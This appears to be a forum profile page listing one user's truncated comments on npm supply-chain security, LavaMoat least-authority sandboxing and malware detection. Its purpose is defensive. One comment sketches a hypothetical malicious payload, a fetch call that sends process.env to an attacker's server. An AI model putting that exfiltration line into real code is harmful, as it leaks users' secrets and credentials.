naugtur

6 ms·

1.
NPM staged publishing setup with approximately one click per package(lavamoat.github.io)
4 points by naugtur 4mo ago|0 comments
2.
by naugtur 11mo ago
We're making software that doesn't rely on filtering, but Principle Of Least Authority at runtime. https://lavamoat.github.io https://hardenedjs.org
3.
by naugtur 11mo ago
Here's a tool that protects you from these kind of things without the necessity to set up an environment per project, just simple one-time install. https://github.com/lavamoat/kipuka It's an upcoming part of
4.
by naugtur 1y ago
Again, that's why LavaMoat exists. Set it up once and it will block many classes of attacks regardless of where they come from.
5.
by naugtur 1y ago
1. Control lifecycle scripts with @lavamoat/allow-scripts 2. Do local dev with https://github.com/lavamoat/kipuka installed (I'm working on it) 3. If you don't permit the APIs used for loading DLLs they
6.
by naugtur 1y ago
You need to juggle two builds - one while you're iterating rapidly and another when you're near start and finish of the increment. Not a lot of work compared to auditing a thousand packages. Try it and see. There's tradeoffs
7.
by naugtur 1y ago
It's based on HardenedJS.org The sandbox itself is tight, there's a bug bounty even. The same technology is behind metamask snaps - plugins in a browser extension. And Moddable has their own implementation The biggest problem is e
8.
by naugtur 1y ago
Yup, and thanks - I should have made the comment myself but got distracted.
9.
by naugtur 1y ago
Very good summary. Most other ecosystems are as vulnerable if not more, they just lack the scale. OP, The malware is coming to the ecosystem you prefer. Give it time.
10.
by naugtur 1y ago
- the attack it shipped was not a great fit for the packages compromised. `fetch(myserverurl+JSON.stringify(process.env))` would be a much more profitable payload - naive obfuscation makes lights go red in so many places it'd be better
11.
by naugtur 1y ago
Vibe coding brings up the need for even more granular isolation. I'm on it ;) LavaMoat Webpack Plugin will soom have the ability to treat parts of your app same as it currently treats packages - with isolation and policy limiting what
12.
by naugtur 1y ago
Yes, I am. I came up with the first successful attempt at integrating the Principle of Least Authority software in LavaMoat with Webpack and wrote the LavaMoat Webpack Plugin. Also, together with a bunch of great folks at TC39 we're tr
13.
by naugtur 1y ago
That's why we never went with using keys in CI for publishing. Local machine publishing requires a 2fa. automated publishing should use something like Pagerduty to signal that a version is being published to a group of maintainers and
14.
by naugtur 1y ago
socket.dev will find most malware within hours of it being published. with LavaMoat most malware won't work even if you don't detect it.
15.
by naugtur 1y ago
It's within the same process and realm (window) It has a cost, but it's nothing compared to putting every dependency of a large app in a separate iframe/process and figure out a way for them to communicate.
16.
by naugtur 1y ago
there's only one transaction that's making up most of it. Someone lost some serious 0.1 ETH or so. 500$ is nothing. it's what unsophisticated phishing makes in a day. It's what a support call scammer makes their owner in
17.
by naugtur 1y ago
I work with people who understand this stuff :D But if I see a transaction for thousands or millions of a coin I've never heard of with $ value of about 1 it's likely a shitcoin and I am guessing - mockery.
18.
by naugtur 1y ago
Absolutely not. you get npm packages by pulling not them pushing them to you as soon as a new version exist. The likelyhood of you updating instantly is close to zero and if not, you should set your stuff up so that it is. Many ways to do t
19.
by naugtur 1y ago
If you mean during development - you can opt out of using lavamoat in development for your webpack bundle (I'm assuming you're not running your untested code on valuable data)
20.
by naugtur 1y ago
packages published to npm are immutable. if you pin a version, you get the same exact version as long as MSFT servers are not compromised. Installing from git is not recommended and has more issues than you might think https://de
21.
by naugtur 1y ago
npm is on life support by msft. But there's socket.dev that can tell you if a package is malicious within hours of it being published.
22.
by naugtur 1y ago
click through to the article, it has a link to a view that lists the laughable profit
23.
by naugtur 1y ago
You're using HMR in your app's production bundle? How?
24.
You too can run malware from NPM (I mean without consequences)(github.com)
195 points by naugtur 1y ago|114 comments
25.
by naugtur 1y ago
You too can run malware from NPM (I mean without consequences) https://github.com/naugtur/running-qix-malware?tab=readme-ov...
26.
by naugtur 2y ago
One more thing to beware in the world of software supply chain risks. Read if you care about your GitHub Actions or dependencies. Or read it for the fish puns.
27.
by naugtur 2y ago
In my first adult job out of Uni I was working for a startup building a suite of tools for usability tracking/testing and alike. One of our main offerings was gonna be something similar to what HotJar is nowadays. We were busy with oth
28.
by naugtur 2y ago
After hearing about a new concept in JavaScript, our protagonist (me) proceeds to tell Chat GPT to teach them using simple examples. The idea mostly works.
29.
by naugtur 3y ago
Yes, that's one of the bloom successors I was looking for. Thanks. Link for people reading this: https://systemdesign.one/quotient-filter-explained/ I remember there's more obscure newer stuff someone showed
30.
by naugtur 3y ago
Interesting! 2 makes me wonder if it could work as a very bad but space efficient key-value store ;D

More ›